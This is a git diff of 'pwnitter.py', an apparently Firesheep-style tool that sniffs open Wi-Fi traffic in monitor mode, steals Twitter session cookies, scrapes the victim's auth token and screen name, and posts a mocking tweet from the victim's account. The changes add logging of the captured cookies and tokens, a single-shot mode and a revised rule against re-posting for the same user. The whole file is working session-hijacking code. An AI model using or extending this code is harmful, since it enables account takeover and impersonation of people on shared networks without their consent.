X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=blobdiff_plain;f=pwnitter.py;h=c363a2378081c71031072141f34deceec675b305;hp=6b176f134ca94985dba2ef99897de1c314e61b41;hb=3a4127ceda883251f58d8ddb180aae185710f1b7;hpb=6cc1ab74cfd3c4a97c8a49722b52941c8f28ff8d diff --git a/pwnitter.py b/pwnitter.py index 6b176f1..c363a23 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -8,11 +8,13 @@ import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib import logging +import logging.config import socket import time import gobject import select import subprocess +import urllib2 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.' @@ -23,12 +25,13 @@ def usage(): NAME = 'de.cryptobitch.muelli.Pwnitter' class Pwnitter(dbus.service.Object): - def __init__(self, bus, object_name, device='mon0'): + def __init__(self, bus, object_name, device='mon0', run_once_only=False): super(Pwnitter, self).__init__(bus, object_name) self.device = device self.status = status self.is_running = False + self.run_once_only = run_once_only def setup_monitor(device='mon0'): # FIXME: Replace hardcoded interface @@ -83,7 +86,7 @@ class Pwnitter(dbus.service.Object): return self.status - def tear_down_monitor(device='mon0'): + def tear_down_monitor(self, device='mon0'): cmd = '/sbin/ifconfig mon0 down'.split() subprocess.call(cmd) cmd = '/usr/sbin/iw dev mon0 del'.split() @@ -100,11 +103,13 @@ class Pwnitter(dbus.service.Object): def pwn(self, device, tweeted_callback=None): + log = logging.getLogger('pwn') + processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less ts, raw = self.cap.next() eth = dpkt.ethernet.Ethernet(raw) - #print 'got a packet' + log.debug('got a packet') # Depending on platform, we can either get fully formed packets or unclassified radio data if isinstance(eth.data, str): data = eth.data @@ -113,26 +118,26 @@ class Pwnitter(dbus.service.Object): hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) if hostMatches: - print 'Host matched' + log.debug('Host matched') host = hostMatches.group(1) cookieMatches = re.search('Cookie: ([^\n]+)', data) + log.debug('CookieMatches? %r', cookieMatches) if cookieMatches: cookie = cookieMatches.group(1) + log.debug('yummie Cookie %r', cookie) headers = { "User-Agent": "Mozilla/5.0", "Cookie": cookie, } - conn = httplib.HTTPSConnection(host) try: - conn.request("GET", "/", None, headers) + page = urllib2.urlopen("https://%s/" % host).read() except socket.error, e: - print e + log.error(e) else: - response = conn.getresponse() - page = response.read() + log.debug('Connected to host %s', host) # Newtwitter and Oldtwitter have different formatting, so be lax authToken = '' @@ -143,6 +148,7 @@ class Pwnitter(dbus.service.Object): if authMatches: authToken = authMatches.group(1) + log.info('Found auth token %r', authToken) nameMatches = re.search('"screen_name":"(.*?)"', page, 0) if not nameMatches: @@ -151,11 +157,12 @@ class Pwnitter(dbus.service.Object): name = '' if nameMatches: name = nameMatches.group(1) + log.info('Found name %r', name) # We don't want to repeatedly spam people - # FIXME: What the fuck logic. Please clean up - if not ((not name and host != 'mobile.twitter.com') or name in processed): + # Also proceed if we didn't find a name but are on the mobile page + if not (name in processed) or ((not name) and host == 'mobile.twitter.com'): headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json, text/javascript, */*", @@ -167,7 +174,9 @@ class Pwnitter(dbus.service.Object): } - print 'Issueing connection' + log.debug('Issueing connection') + if self.run_once_only: # If we wanted to run once only, we make it stop now + self.is_running = False if host == 'mobile.twitter.com': params = urllib.urlencode({ @@ -190,7 +199,7 @@ class Pwnitter(dbus.service.Object): response = conn.getresponse() - print 'Got response: %s' % response.status + log.debug('Got response: %s', response.status) if response.status == 200 or response.status == 302 or response.status == 403: if name: @@ -198,19 +207,19 @@ class Pwnitter(dbus.service.Object): # 403 is a dupe tweet if response.status != 403: - print "Successfully tweeted as %s" % name - print 'calling %s' % tweeted_callback + log.info("Successfully tweeted as %s", name) if tweeted_callback: tweeted_callback(name) else: - print 'Already tweeted as %s' % name + log.info('Already tweeted as %s', name) else: - print "FAILED to tweet as %s, debug follows:" % name - print response.status, response.reason - print response.read() + "\n" - return self.is_running # Execute next time, we're idle + log.error("FAILED to tweet as %s, debug follows:", name) + log.error("%s, %s", response.status, response.reason) + log.error("%s", response.read()) + + return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully # FIXME: Ideally, check whether Pcap has got data for us def main(): @@ -234,11 +243,15 @@ if __name__ == '__main__': parser.add_option("-s", "--session", dest="use_session_bus", action="store_true", default=False, help="Bind Pwnitter to the SessionBus instead of the SystemBus") + parser.add_option("-1", "--single", dest="run_once_only", + action="store_true", default=False, + help="Make it send a single message only") (options, args) = parser.parse_args() loglevel = {'debug': logging.DEBUG, 'info': logging.INFO, 'warn': logging.WARN, 'error': logging.ERROR, 'critical': logging.CRITICAL}.get(options.loglevel, "warn") logging.basicConfig(level=loglevel) + #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging log = logging.getLogger("Main") dbus.mainloop.glib.DBusGMainLoop(set_as_default=True) @@ -248,11 +261,11 @@ if __name__ == '__main__': else: session_bus = dbus.SystemBus() name = dbus.service.BusName(NAME, session_bus) - pwnitter = Pwnitter(session_bus, '/Pwnitter') + pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only) #object.Start() loop = gobject.MainLoop() - print "Running example signal emitter service." + log.info("Running example signal emitter service.") # FIXME: This is debug code #gobject.idle_add(pwnitter.MessageSent)